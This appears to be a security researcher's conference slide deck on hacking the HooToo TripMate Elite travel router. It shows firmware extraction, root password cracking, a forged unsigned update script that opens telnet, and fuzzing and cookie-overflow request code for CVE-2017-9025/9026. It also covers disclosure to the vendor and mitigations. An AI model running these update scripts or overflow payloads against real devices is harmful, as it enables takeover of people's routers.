Hacking travel routers like it’s 1999

Mikhail Sosonkin
“Synack leverages the best combination of humans and technology to discover security vulnerabilities in our customers’ web apps, mobile apps, IoT devices and infrastructure endpoints.”

Mikhail Sosonkin
Director of R&D
Always a Student

@HEXLOGIC
mikhail@synack.com
HTTP://DEBUGTRAP.COM
$ cat agenda | wc -l
4

Why do this?
Breaking in.
Show me the bugs!
The End.

We all just hack for fun… right?
$ man y
No manual entry for y

I travel a lot
I work in cafes
I do security things

Cuz, hackers gonna hack...
The market delivers...

TP-Link AC750 Wireless Wi-Fi Travel Router

HooToo TripMate Elite Travel Wireless Router

RAVPower FileHub Plus

And about 377 more results on Amazon.
<table>
<thead>
<tr>
<th>Icon</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="image" alt="Link Icon" /></td>
<td>Bridging networks/MAC spoofing</td>
</tr>
<tr>
<td><img src="image" alt="Layers Icon" /></td>
<td>Layer of network protection</td>
</tr>
<tr>
<td><img src="image" alt="Connect Icon" /></td>
<td>Connect one device, connect them all</td>
</tr>
<tr>
<td><img src="image" alt="Small Icon" /></td>
<td>Convenient small form factor</td>
</tr>
<tr>
<td><img src="image" alt="Battery Icon" /></td>
<td>Battery pack included</td>
</tr>
</tbody>
</table>
Why do this?

The unboxing

We want bugs!

The End

$ cat agenda | wc -l
3

Peeking a few extra bytes...
nmap -p0-65535 192.168.1.1

<table>
<thead>
<tr>
<th>PORT</th>
<th>STATE</th>
<th>SERVICE</th>
</tr>
</thead>
<tbody>
<tr>
<td>0/tcp</td>
<td>filtered</td>
<td>unknown</td>
</tr>
<tr>
<td>80/tcp</td>
<td>open</td>
<td>http</td>
</tr>
<tr>
<td>81/tcp</td>
<td>open</td>
<td>hosts2-ns</td>
</tr>
<tr>
<td>5880/tcp</td>
<td>open</td>
<td>unknown</td>
</tr>
<tr>
<td>8201/tcp</td>
<td>open</td>
<td>trivnet2</td>
</tr>
</tbody>
</table>

HTTP/1.1 200 OK
Content-Type: text/html
Accept-Ranges: bytes
ETag: "1800253254"
Last-Modified: Mon, 29 Feb 2016 07:23:52 GMT
Content-Length: 3940
Date: Wed, 28 Jun 2017 12:13:26 GMT
Server: lighttpd/1.4.28

HTTP/1.1 200 OK
Server: vshttpd
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-length: 123
Content-type: text/xml;charset=UTF-8
Set-cookie: SESSID=Xqo72s...
Date: Wed, 28 Jun 2017 12:13:26 GMT

Right-click -> inspect
<table>
<thead>
<tr>
<th>Exploits</th>
<th>IP Address 1</th>
<th>IP Address 2</th>
<th>Company</th>
<th>Date/Time</th>
<th>Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>DATA SAVER</td>
<td>27.XX.XX.222</td>
<td>222.XX.XX.27.ap.yournet.ne.jp</td>
<td>FreeBit Co.,Ltd.</td>
<td>2017-06-24 19:38:32 GMT</td>
<td>Japan</td>
</tr>
<tr>
<td>DATA SAVER</td>
<td>27.XXX.XX.244</td>
<td>244.XX.XXX.27.ap.yournet.ne.jp</td>
<td>FreeBit Co.,Ltd.</td>
<td>2017-03-20 17:11:29 GMT</td>
<td>Japan</td>
</tr>
<tr>
<td>IOVST</td>
<td>111.XX.XXX.128</td>
<td></td>
<td>China Telecom Jiangxi</td>
<td>2017-04-01 08:13:20 GMT</td>
<td>China, Nanchang</td>
</tr>
</tbody>
</table>

HTTP/1.1 200 OK
Server: vshttpd
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-length: 8338
Content-type: text/html
Set-cookie: SESSID=eXXzgZWig4jnnXGldAVQpRB6joaM7D7l3IGWtz7oRuJE;
Date: Sat, 24 Jun 2017 19:38:27 GMT
wget https://...fw-TM06-Support Special Character-2.000.030.rar
unrar x ../HT-TM06-Support Special Character-2.000.030.rar
tail -n +263 $0 | gunzip > upfs
mount upfs upfs.mount
mount ./upfs_mount/firmware/rootfs upfs_rootfs/
ls ./upfs_rootfs/usr/sbin/ioos
MIPS32LE ELF (the webserver)

The WWW’s: HooToo official page
two days* with john the ripper

All this root, and no where to use it

* on a reasonably priced EC2 instance
If I could just...

TripMate Original, Titan and Nano, all have telnet enabled 😊😈🐱
chorankates

But I have the Elite 🙁

What are the chances that the firmware on all these devices is basically the same??

$ find . -iname '*telnet*'  
./etc/init.d/opentelnet.sh
Look what I found! 😞
The firmware update mechanism does not require a signed package.

Expanded, the update package is just a shellscript.
$ file ./usr/sbin/ioos
./usr/sbin/ioos: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked (uses shared libs), stripped

check_firmware2 .text:00491118 >>
addiu $a1, (aSed13dSCksumCu - 0x530000)  # "sed '1,3d' %s|cksum|cut -d' ' -f1"
lw $a2, 0x3A8+arg_0($sp)
lw $t9, sprintf
nop
jalr $t9 ; sprintf

Checks Firmware update

https://sourceforge.net/projects/vshttpd/ maybe? It’s an empty project
The firmware update mechanism does not require a signed package.

Only a CRC check

```
#!/bin/sh
# constant
CRCSUM=2787560248
VENDOR=HooToo
PRODUCTLINE=WiFiDGRJ
SKIP=263
TARGET_OS="linux"
TARGET_ARCH="arm"
DEVICE_TYPE=HT-TM06
VERSION=2000030
CPU=7620

/bin/sh /etc/init.d/opentelnet.sh
exit 1
```

Expanded, the update package is just a shellscript
$ telnet 192.168.1.1
Connected to 192.168.1.1.
Escape character is '\['.

HT-TM06 login: root
Password:
login: can't chdir to home directory '/root'

# ls
bin data etc home media opt sbin tmp var
boot dev etc_ro lib mnt proc sys usr www

# /data/UsbDisk1/Volume1/gdbserver.mipsle --attach *:9999 7344
Attached; pid = 7344
Listening on port 9999

More details: http://debugtrap.com/2017/03/19/tm06-travel-safe/
typedef void (*fcn_ptr)(struct state* self, ...);

struct state {
  char[20] name;
  int state;
  fcn_ptr func1;
  fcn_ptr func2;
};

struct state* s = malloc(sizeof(struct state));
if (s == NULL) { /* handle error */ }

s->func1 = func1_implementation;
s->func2 = func2_implementation;

s->func1(s, 2, 3);

839 uses of strcpy, 2167 uses of sprintf
Present

- Partial Virtual Space randomization
- Binary and heap are fixed
- Libraries and stack are randomized

Not present

- Stack canaries
- Full ASLR
- Heap protections
- Heap/Stack NX
- Control flow integrity
$ cat agenda | wc -l
2

Cybergold!
>>> for i in range(1, 20000, 4):
    testGet(fname= "A" * i)

buff = "GET /protocol.csp?fname=[[fuzz]]&opt=userlock&" +
       "username=guest&function=get HTTP/1.1",

"Host: 192.168.1.1",
"Connection: keep-alive",
"Cache-Control: no-cache",
"If-Modified-Since: 0",
"User-Agent: Mozilla/5.0 (Macintosh; Intel .."
"Accept: */*",
"Referer: http://192.168.1.1/",
"Accept-Encoding: gzip, deflate, sdch",
"Accept-Language: en-US,en;q=0.8,ru;q=0.6",
"Cookie: SESSID=eXXzgZIg4jnnXGidAVQpRB6joaM7D71r3IGWtz7oRuJE;",

More details: debugtrap.com/2017/05/09/tm06-vulnerabilities/
xml_add_elem:

```
.text:00512684 addiu $v0, $sp, 0x238+var_110
.text:00512688 move $a0, $v0
.text:0051268c li $a1, 0x540000
.text:00512690 nop
.text:00512694 addiu $a1, (aS_19 - 0x540000) # "</%s>
.text:00512698 lw $a2, 0x238+element_name($sp)
.text:0051269c la $t9, sprintf
.text:005126a0 nop
.text:005126a4 jalr $t9 ; sprintf
.text:005126a8 nop
```

256 bytes stack buffer

Value of fname

Located
Firmware
Password
Shell
Crash
Overflow
Program received signal SIGSEGV, Segmentation fault.
0x3e5126d0 in ?? ()
$ ls exploit
ls: exploit: No such file or directory

<table>
<thead>
<tr>
<th>Return to</th>
<th>Static</th>
<th>Null In Address</th>
<th>Use Format Values</th>
<th>Executable</th>
</tr>
</thead>
<tbody>
<tr>
<td>Main binary</td>
<td>🍀</td>
<td>🍀</td>
<td>🍀</td>
<td>🍀</td>
</tr>
<tr>
<td>Heap</td>
<td>🍀</td>
<td>🍀</td>
<td>🍀</td>
<td>🍀</td>
</tr>
<tr>
<td>ret2libc</td>
<td>🍀</td>
<td>🍀</td>
<td>🍀</td>
<td>🍀</td>
</tr>
<tr>
<td>Stack</td>
<td>🍀</td>
<td>🍀</td>
<td>🍀</td>
<td>🍀</td>
</tr>
</tbody>
</table>

Restrictions with `sprintf("%/s")`:
- No nulls
- output buffer follows “%/s” format
buff = ["POST /protocol.csp?fname=security&opt=userlock&"
    "username=guest&function=get HTTP/1.1",
    "Host: 192.168.1.1",
    "Connection: keep-alive",
    "Cache-Control: no-cache",
    "If-Modified-Since: 0",
    "User-Agent: Mozilla/5.0 (Macintosh; Intel...",
    "Accept: */*",
    "Referer: http://192.168.1.1/",
    "Accept-Encoding: gzip, deflate, sdch",
    "Accept-Language: en-US,en;q=0.8,ru;q=0.6",
    "Content-length: [[shelllen]]",
    "Cookie: [[cookies]]",
    "]
    for i in range(1, 20000, 4):
        testPost(cookie= "A" * i)
// cgi_tab_alloc

10  cgi_tab = malloc(sizeof(cgi_tab));
    // sizeof(inner buffer) = 1024

20  cookie_value =
    ht_header->ht_header_find("Cookie");

30  src = cookie_value;

40  dst = cgi_tab+0x16858

50  strcpy(dst, src);
    // so... we send 1036 bytes!
msosonkin-00350:hoottoo nl$ python cookie_overflow.py 1.1
shellcode size: 978
POST /protocol.csp?fname=security&opt=userlock&user=t&function=get HTTP/1.1
Host: 192.168.1.1
Connection: keep-alive
Cache-Control: no-cache
If-Modified-Since: 0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5)
AppleWebKit/537.36 (KHTML, like Gecko)
Accept: */*
Referer: http://192.168.1.1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Content-length: 978
Cookie: AAAAAAAAAAAAAAAAAAAAAAAAA

Located Firmware Password Shell Crash 2 Overflow EIP!
0x521bd4: move a0,v0
0x521bd8: lw a1,40(sp) // strcpy
0x521bdc: lw t9,-28472(gp)
0x521be0: nop
0x521be4: jalr t9

0x4136a8: lw t9,27748(v0)
0x4136ac: lw a0,28(sp)
0x4136b0: jalr t9 // cgi_tab->fnc()
0x4136b4: nop
0x4136b8: lw gp,16(sp)

gdb x/5i $pc-8
0x4136a8: lw t9,27748(v0)
0x4136ac: lw a0,28(sp)
=> 0x4136b0: jalr t9 // cgi_tab->fnc()

Cookie & fcnptr
Preamble & Shellcode

Located
Firmware
Password
Shell
Crash 2
Overflow
EIP!
Exploit
Lots of top site still don't use SSL: [Google transparency report](https://www.google.com)
$ ps -ef | grep attack
  503 91038 73200   0 5:47PM ttys001   0:00.00 ./my_attack
Why do this?
The unboxing
We want bugs!
The End

That was fun...
CVE-2017-9026:

Specific: `snprintf($sp+0x128, 256, "</%s>", fname);

General: Stack canaries

CVE-2017-9025:

Specific: `strncpy(dst, src, 1024);

General: `(ctx->fcn ^ canary)(param);

Windows: DecodePointer

NSA has a patent on that. Sorry!
# cat /dev/attack_cases

- Gain an attack proxy for *attribution obfuscation*
- Steal user information such as *authentication tokens*
- Manipulate user activity… *iframes!*
- *Foothold* into enterprise or private networks

---

#12  +(3869)- [X]

<Moot> ok, here's what we do
<Moot> we break into AOL HQ
<Moot> and instead of the AOL setup utility, we put metallica mp3s on all of the startup cds
$ cat bug | sed 's/exploit/vendor/g'
vendor give a shell

“We have transmit your email and issue to our product team. But we feel sorry that we would inform you until 2/8 because product team has day off due for Spring Festival.” - support@hootoo.com

Super polite

Entire product team off for the spring festival (Chinese New Year)

Received a personal update before it was made generally available.
$ echo "learned $?"
learned 0

“Don’t roll your own crypto”

=> “Don’t roll your own CGI webserver”

Vendors do respond!

Install OpenWRT on the device.

Exploiting routers is fun.

People still use `strcpy` and `sprintf` - *like they did in 1999!*
Questions and Answers

...Catch me in the halls or online!

Mikhail Sosonkin

Email: mikhail@synack.com

blog: debugtrap.com

Twitter: @H4ckerLife

Аčиū! Спасибо! Thank you!